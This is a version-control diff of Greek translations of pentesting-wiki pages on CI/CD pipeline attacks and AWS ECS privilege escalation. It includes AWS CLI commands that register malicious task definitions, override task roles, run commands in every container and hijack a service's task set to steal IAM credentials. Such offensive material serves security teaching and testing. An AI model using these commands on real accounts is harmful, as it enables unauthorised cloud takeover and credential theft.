||||
- **Secrets**: Όπως αναφέρθηκε νωρίτερα, τα pipelines απαιτούν **privileges** για τα jobs τους (τραβούν τον κώδικα, κάνουν build, deploy κ.λπ.) και αυτά τα privileges συνήθως **αποθηκεύονται σε secrets**. Αυτά τα secrets είναι συνήθως προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας επιτιθέμενος θα προσπαθήσει πάντα να εξαγάγει όσο το δυνατόν περισσότερα secrets.
|
||||
- Ανάλογα με την πλατφόρμα pipeline, ο επιτιθέμενος **μπορεί να χρειαστεί να δηλώσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο επιτιθέμενος δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), θα μπορούσε **μόνο να εξαγάγει τα secrets που ήδη έχει το pipeline**.
|
||||
- **Computation**: Ο κώδικας εκτελείται κάπου· ανάλογα με το που εκτελείται, ένας επιτιθέμενος μπορεί να μπορέσει να κάνει pivot παραπέρα.
|
||||
- **On-Premises**: Αν τα pipelines τρέχουν on-premises, ένας επιτιθέμενος μπορεί να βρεθεί σε ένα **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
|
||||
- **Cloud**: Ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε **άλλες μηχανές στο cloud** αλλά και να **εξαγάγει** IAM roles/service accounts **tokens** για να αποκτήσει περαιτέρω πρόσβαση μέσα στο cloud.
|
||||
- **Platforms machine**: Μερικές φορές τα jobs εκτελούνται μέσα στις μηχανές της pipelines πλατφόρμας, που συνήθως είναι μέσα σε ένα cloud και δεν έχουν περισσότερο access.
|
||||
- **Select it:** Μερικές φορές η **πλατφόρμα pipelines έχει διαμορφώσει πολλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε πού θέλετε να τρέξει ο κακόβουλος κώδικας**. Σε αυτή την περίπτωση, ένας επιτιθέμενος πιθανώς θα τρέξει ένα reverse shell σε κάθε διαθέσιμη μηχανή για να προσπαθήσει να το εκμεταλλευτεί περαιτέρω.
|
||||
- **Compromise production**: Αν βρίσκεστε μέσα στο pipeline και η τελική έκδοση build-άρεται και deploy-άρεται από αυτό, μπορείτε να **compromise τον κώδικα που θα τρέξει στην production**.
|
||||
- **Secrets**: Όπως αναφέρθηκε προηγουμένως, τα pipelines απαιτούν **privileges** για τα jobs τους (ανάκτηση κώδικα, build, deploy...) και αυτά τα privileges συνήθως **παρέχονται ως secrets**. Αυτά τα secrets είναι συνήθως προσβάσιμα μέσω **env variables ή αρχείων μέσα στο σύστημα**. Επομένως ένας attacker θα προσπαθήσει πάντα να εξαγάγει όσο το δυνατόν περισσότερα secrets.
|
||||
- Ανάλογα με την πλατφόρμα pipeline, ο attacker **μπορεί να χρειαστεί να καθορίσει τα secrets στο config**. Αυτό σημαίνει ότι αν ο attacker δεν μπορεί να τροποποιήσει το CI configuration pipeline (**I-PPE** για παράδειγμα), μπορεί **να εξάγει μόνο τα secrets που έχει το pipeline**.
|
||||
- **Computation**: Ο κώδικας εκτελείται κάπου. Ανάλογα με το πού εκτελείται, ένας attacker μπορεί να μπορέσει να pivot-άρει περαιτέρω.
|
||||
- **On-Premises**: Αν τα pipelines εκτελούνται on-premises, ένας attacker μπορεί να βρεθεί σε ένα **εσωτερικό δίκτυο με πρόσβαση σε περισσότερους πόρους**.
|
||||
- **Cloud**: Ο attacker μπορεί να αποκτήσει πρόσβαση **σε άλλες μηχανές στο cloud** αλλά επίσης να **εξαγάγει** IAM roles/service accounts **tokens** για να αποκτήσει **περαιτέρω πρόσβαση στο cloud**.
|
||||
- **Platforms machine**: Κάποιες φορές τα jobs θα εκτελεστούν στις **μηχανές της πλατφόρμας των pipelines**, οι οποίες συνήθως είναι μέσα σε ένα cloud με **περιορισμένη περαιτέρω πρόσβαση**.
|
||||
- **Select it:** Κάποιες φορές η **πλατφόρμα του pipeline θα έχει διαμορφώσει πολλαπλές μηχανές** και αν μπορείτε να **τροποποιήσετε το CI configuration file** μπορείτε να **υποδείξετε που θέλετε να τρέξει ο malicious κώδικας**. Σε αυτή την περίπτωση, ένας attacker πιθανόν θα τρέξει reverse shell σε κάθε διαθέσιμη μηχανή για να προσπαθήσει να την εκμεταλλευτεί περαιτέρω.
|
||||
- **Compromise production**: Αν βρίσκεστε μέσα στο pipeline και η τελική έκδοση κατασκευάζεται και deploy-άρεται από αυτό, μπορείτε να **συμβιβάσετε τον κώδικα που θα τρέξει σε production**.
|
||||
|
||||
## Περισσότερες σχετικές πληροφορίες
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack για security compliance βάσει ενός νέου [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing εστιάζει σε όλη τη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από το code μέχρι το deploy.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) είναι ένα open-source εργαλείο για auditing του software supply chain stack σας για συμμόρφωση ασφαλείας βάσει ενός νέου [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Το auditing επικεντρώνεται σε όλη τη διαδικασία SDLC, όπου μπορεί να αποκαλύψει κινδύνους από τον χρόνο του κώδικα μέχρι τον χρόνο του deploy.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Δείτε αυτό το ενδιαφέρον άρθρο σχετικά με τα top 10 CI/CD risks σύμφωνα με την Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Δείτε αυτό το ενδιαφέρον άρθρο για τα top 10 CI/CD risks σύμφωνα με την Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε οδηγίες για το πώς να την launch-άρετε τοπικά ώστε να την διαμορφώσετε όπως θέλετε για testing.
|
||||
- Σε κάθε πλατφόρμα που μπορείτε να τρέξετε τοπικά θα βρείτε οδηγίες για το πώς να το εκκινήσετε τοπικά ώστε να το διαμορφώσετε όπως θέλετε για να το δοκιμάσετε
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** είναι ένα static code analysis εργαλείο για infrastructure-as-code.
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Ένας επιτιθέμενος που καταχράται την άδεια `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` στο ECS μπορεί να **δημιουργήσει έναν νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**.
|
||||
Ένας επιτιθέμενος που καταχράται τα `iam:PassRole`, `ecs:RegisterTaskDefinition` και `ecs:RunTask` δικαιώματα στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να **το τρέξει**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Δημιούργησε ένα webhook με έναν ιστότοπο όπως το webhook.site
|
||||
Δημιούργησε ένα webhook χρησιμοποιώντας έναν ιστότοπο όπως το webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potential Impact:** Άμεση privesc σε διαφορετικό ECS role.
|
||||
**Πιθανός Αντίκτυπος:** Άμεση privesc σε διαφορετικό ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Ένας επιτιθέμενος που έχει δικαιώματα `iam:PassRole` και `ecs:RunTask` μπορεί να ξεκινήσει ένα νέο ECS task με τροποποιημένους **execution role**, **task role** και τις τιμές **command** του container. Η εντολή CLI `ecs run-task` περιλαμβάνει την παράμετρο `--overrides` που επιτρέπει την αλλαγή κατά το runtime των `executionRoleArn`, `taskRoleArn` και της `command` του container χωρίς να τροποποιηθεί το task definition.
|
||||
Ένας επιτιθέμενος που έχει `iam:PassRole` και `ecs:RunTask` δικαιώματα μπορεί να ξεκινήσει ένα νέο ECS task με τροποποιημένο **ρόλο εκτέλεσης**, **ρόλο εργασίας** και τις **command** τιμές του container. Η εντολή CLI `ecs run-task` περιέχει την επιλογή `--overrides` που επιτρέπει την αλλαγή κατά την εκτέλεση των `executionRoleArn`, `taskRoleArn` και της `command` του container χωρίς να τροποποιηθεί το task definition.
|
||||
|
||||
Οι καθορισμένοι IAM ρόλοι για `taskRoleArn` και `executionRoleArn` πρέπει να εμπιστεύονται/επιτρέπουν να αναληφθούν από το `ecs-tasks.amazonaws.com` στην trust policy τους.
|
||||
Οι συγκεκριμένοι IAM ρόλοι για `taskRoleArn` και `executionRoleArn` πρέπει να εμπιστεύονται/επιτρέπουν να αναληφθούν από το `ecs-tasks.amazonaws.com` στην trust policy τους.
|
||||
|
||||
Επιπλέον, ο επιτιθέμενος χρειάζεται να γνωρίζει:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (Εάν δεν καθοριστεί security group, θα χρησιμοποιηθεί το προεπιλεγμένο)
|
||||
- Security group (Αν δεν καθοριστεί security group θα χρησιμοποιηθεί το προεπιλεγμένο)
|
||||
- Task Definition Name and revision
|
||||
- Όνομα του Container
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Στο παράδειγμα κώδικα παραπάνω ο επιτιθέμενος αντικαθιστά μόνο την τιμή `taskRoleArn`. Ωστόσο, ο επιτιθέμενος πρέπει να έχει την άδεια `iam:PassRole` για το `taskRoleArn` που καθορίζεται στην εντολή και για το `executionRoleArn` που καθορίζεται στον ορισμό του task, για να πραγματοποιηθεί η επίθεση.
|
||||
Στο απόσπασμα κώδικα πιο πάνω, ο attacker αντικαθιστά μόνο την τιμή του `taskRoleArn`. Ωστόσο, ο attacker πρέπει να έχει την άδεια `iam:PassRole` πάνω στο `taskRoleArn` που καθορίζεται στην εντολή και στο `executionRoleArn` που ορίζεται στον ορισμό του task για να πραγματοποιηθεί η επίθεση.
|
||||
|
||||
Εάν ο IAM ρόλος που ο επιτιθέμενος μπορεί να περάσει έχει επαρκή προνόμια για να τραβήξει το ECR image και να ξεκινήσει το ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), τότε ο επιτιθέμενος μπορεί να καθορίσει τον ίδιο IAM ρόλο τόσο για το `executionRoleArn` όσο και για το `taskRoleArn` στην εντολή `ecs run-task`.
|
||||
If the IAM role that the attacker can pass has enough privileges to pull to ECR image and start the ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) then the attacker can specify the same IAM role for both `executionRoleArn` and `taskRoleArn` in the `ecs run-task` command.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Άμεσο privesc σε οποιονδήποτε ECS task role.
|
||||
**Potential Impact:** Άμεσο privesc σε οποιονδήποτε ECS task role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να **το τρέξει**.\
|
||||
Ωστόσο, σε αυτή την περίπτωση απαιτείται μια container instance για να τρέξει το κακόβουλο task definition.
|
||||
Όπως στο προηγούμενο παράδειγμα, ένας attacker που εκμεταλλεύεται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει**.\
|
||||
Ωστόσο, σε αυτή την περίπτωση, απαιτείται μια container instance για να τρέξει το κακόβουλο task definition.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potential Impact:** Άμεση privesc σε οποιονδήποτε ρόλο ECS.
|
||||
**Πιθανός Αντίκτυπος:** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Όπως και στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που καταχράται τα δικαιώματα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με ένα **κακόβουλο container** που κλέβει τα metadata credentials και να το **τρέξει δημιουργώντας μια νέα service με τουλάχιστον 1 task σε λειτουργία.**
|
||||
|
||||
Όπως και στο προηγούμενο παράδειγμα, ένας attacker που καταχράται τα **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ή **`ecs:CreateService`** δικαιώματα στο ECS μπορεί να **δημιουργήσει ένα νέο task definition** με έναν **malicious container** που **κλέβει τα metadata credentials** και **να το τρέξει δημιουργώντας ένα νέο service με τουλάχιστον 1 task σε λειτουργία.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -173,7 +174,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Στην πραγματικότητα, μόνο με αυτές τις άδειες είναι δυνατό να χρησιμοποιηθούν overrides για να εκτελεστούν αυθαίρετες εντολές σε ένα container με οποιοδήποτε role, με κάτι σαν:
|
||||
Στην πραγματικότητα, μόνο με αυτά τα δικαιώματα είναι δυνατό να χρησιμοποιήσετε overrides για να εκτελέσετε αυθαίρετες εντολές σε ένα container με οποιοδήποτε role, με κάτι σαν:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +182,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Potential Impact:** Direct privesc σε οποιονδήποτε ECS ρόλο.
|
||||
**Potential Impact:** Άμεση privesc σε οποιονδήποτε ρόλο ECS.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
This scenario is like the previous ones but **without** the **`iam:PassRole`** permission.\
|
||||
Το σενάριο αυτό παραμένει ενδιαφέρον γιατί αν μπορείτε να εκτελέσετε έναν αυθαίρετο container, ακόμα κι αν δεν έχει role, θα μπορούσατε να **τρέξετε έναν container με αυξημένα δικαιώματα για να διαφύγετε** στο node και να **κλέψετε το EC2 IAM role** και τους **άλλους roles των ECS containers** που εκτελούνται στον node.\
|
||||
Μπορείτε ακόμη να **αναγκάσετε άλλες εργασίες να τρέξουν μέσα στην EC2 instance** που έχετε παραβιάσει για να κλέψετε τα διαπιστευτήριά τους (όπως συζητήθηκε στην [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
Αυτό το σενάριο είναι σαν τα προηγούμενα αλλά **χωρίς** την **`iam:PassRole`** άδεια.\
|
||||
Παραμένει όμως ενδιαφέρον επειδή αν μπορείτε να τρέξετε ένα αυθαίρετο container, ακόμη κι αν είναι χωρίς ρόλο, θα μπορούσατε να **run a privileged container to escape** στον node και να **steal the EC2 IAM role** και τους **other ECS containers roles** που τρέχουν στον node.\
|
||||
Μπορείτε ακόμη και να **force other tasks to run inside the EC2 instance** που θα συμβιβάσετε, για να κλέψετε τα credentials τους (όπως συζητείται στην [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η επίθεση είναι δυνατή μόνο αν το **ECS cluster χρησιμοποιεί EC2** instances και όχι Fargate.
|
||||
> Αυτή η επίθεση είναι δυνατή μόνο αν το **ECS cluster is using EC2** instances και όχι Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ένας επιτιθέμενος με τα **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα container που τρέχει και να εξαγάγει το IAM role που είναι συνημμένο σε αυτό (χρειάζονται τα δικαιώματα describe επειδή είναι απαραίτητα για να τρέξετε `aws ecs execute-command`).\
|
||||
Ωστόσο, για να γίνει αυτό, το container instance πρέπει να τρέχει τον **ExecuteCommand agent** (ο οποίος από προεπιλογή δεν τρέχει).
|
||||
Ένας attacker με τα **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** μπορεί να **εκτελέσει εντολές** μέσα σε ένα τρέχον container και να εξάγει το IAM role που είναι συνημμένο σε αυτό (χρειάζεστε τα describe permissions γιατί είναι απαραίτητα για να τρέξετε `aws ecs execute-command`).\
|
||||
Ωστόσο, για να γίνει αυτό, το container instance πρέπει να τρέχει το **ExecuteCommand agent** (το οποίο εξ ορισμού δεν τρέχει).
|
||||
|
||||
Συνεπώς, ο επιτιθέμενος μπορεί να προσπαθήσει να:
|
||||
Therefore, the attacker could try to:
|
||||
|
||||
- **Να προσπαθήσει να εκτελέσει μια εντολή** σε κάθε container που τρέχει
|
||||
- **Try to run a command** in every running container
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -256,18 +257,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- Εάν έχει **`ecs:RunTask`**, τρέξτε ένα task με `aws ecs run-task --enable-execute-command [...]`
|
||||
- Εάν έχει **`ecs:StartTask`**, τρέξτε ένα task με `aws ecs start-task --enable-execute-command [...]`
|
||||
- Εάν έχει **`ecs:CreateService`**, δημιουργήστε μια υπηρεσία με `aws ecs create-service --enable-execute-command [...]`
|
||||
- Εάν έχει **`ecs:UpdateService`**, ενημερώστε μια υπηρεσία με `aws ecs update-service --enable-execute-command [...]`
|
||||
- Αν έχει **`ecs:RunTask`**, τρέξτε ένα task με `aws ecs run-task --enable-execute-command [...]`
|
||||
- Αν έχει **`ecs:StartTask`**, τρέξτε ένα task με `aws ecs start-task --enable-execute-command [...]`
|
||||
- Αν έχει **`ecs:CreateService`**, δημιουργήστε μια service με `aws ecs create-service --enable-execute-command [...]`
|
||||
- Αν έχει **`ecs:UpdateService`**, ενημερώστε μια service με `aws ecs update-service --enable-execute-command [...]`
|
||||
|
||||
Μπορείτε να βρείτε **παραδείγματα αυτών των επιλογών** σε **προηγούμενες ECS privesc ενότητες**.
|
||||
Μπορείτε να βρείτε **παραδείγματα αυτών των επιλογών** στις **προηγούμενες ECS privesc ενότητες**.
|
||||
|
||||
**Potential Impact:** Privesc σε διαφορετικό ρόλο συνημμένο στα containers.
|
||||
**Potential Impact:** Privesc σε διαφορετικό role συνδεδεμένο με containers.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
Δείτε στην **ssm privesc σελίδα** πώς μπορείτε να καταχραστείτε αυτή την άδεια για να **privesc to ECS**:
|
||||
Δείτε στη **ssm privesc page** πώς μπορείτε να καταχραστείτε αυτήν την άδεια για να **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -275,7 +276,7 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Δείτε στην **ec2 privesc σελίδα** πώς μπορείτε να καταχραστείτε αυτές τις άδειες για να **privesc to ECS**:
|
||||
Δείτε στην **ec2 privesc page** πώς μπορείτε να καταχραστείτε αυτές τις άδειες για να **privesc to ECS**:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
@@ -283,17 +284,16 @@ aws-ec2-privesc.md
|
||||
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορούσε ενδεχομένως να καταχωρήσει ένα EC2 instance σε ένα ECS cluster και να τρέξει tasks σε αυτό. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο των ECS tasks.
|
||||
|
||||
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
|
||||
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε ενδεχομένως να καταχωρήσει ένα EC2 instance σε ένα ECS cluster και να τρέξει tasks πάνω του. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο των ECS tasks.
|
||||
|
||||
- TODO: Είναι δυνατόν να καταχωρηθεί ένα instance από διαφορετικό AWS account έτσι ώστε τα tasks να τρέχουν σε μηχανές που ελέγχονται από τον επιτιθέμενο??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test this
|
||||
> TODO: Δοκιμάστε αυτό
|
||||
|
||||
Ένας επιτιθέμενος με τα permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, και `ecs:DescribeTaskSets` μπορεί να **δημιουργήσει ένα κακόβουλο task set για μια υπάρχουσα ECS υπηρεσία και να ενημερώσει το primary task set**. Αυτό επιτρέπει στον επιτιθέμενο να **εκτελέσει αυθαίρετο κώδικα εντός της υπηρεσίας**.
|
||||
Ένας επιτιθέμενος με τις άδειες `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, και `ecs:DescribeTaskSets` μπορεί να **δημιουργήσει ένα κακόβουλο task set για μια υπάρχουσα ECS service και να ενημερώσει το primary task set**. Αυτό επιτρέπει στον επιτιθέμενο να **εκτελέσει αυθαίρετο κώδικα εντός της υπηρεσίας**.
|
||||
```bash
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
@@ -319,7 +319,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Πιθανός Αντίκτυπος**: Εκτέλεση αυθαίρετου κώδικα στην επηρεαζόμενη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή εξάγοντας ευαίσθητα δεδομένα.
|
||||
**Πιθανός Αντίκτυπος**: Execute arbitrary code στην επηρεασμένη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή exfiltrating sensitive data.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
Reference in New Issue
Block a user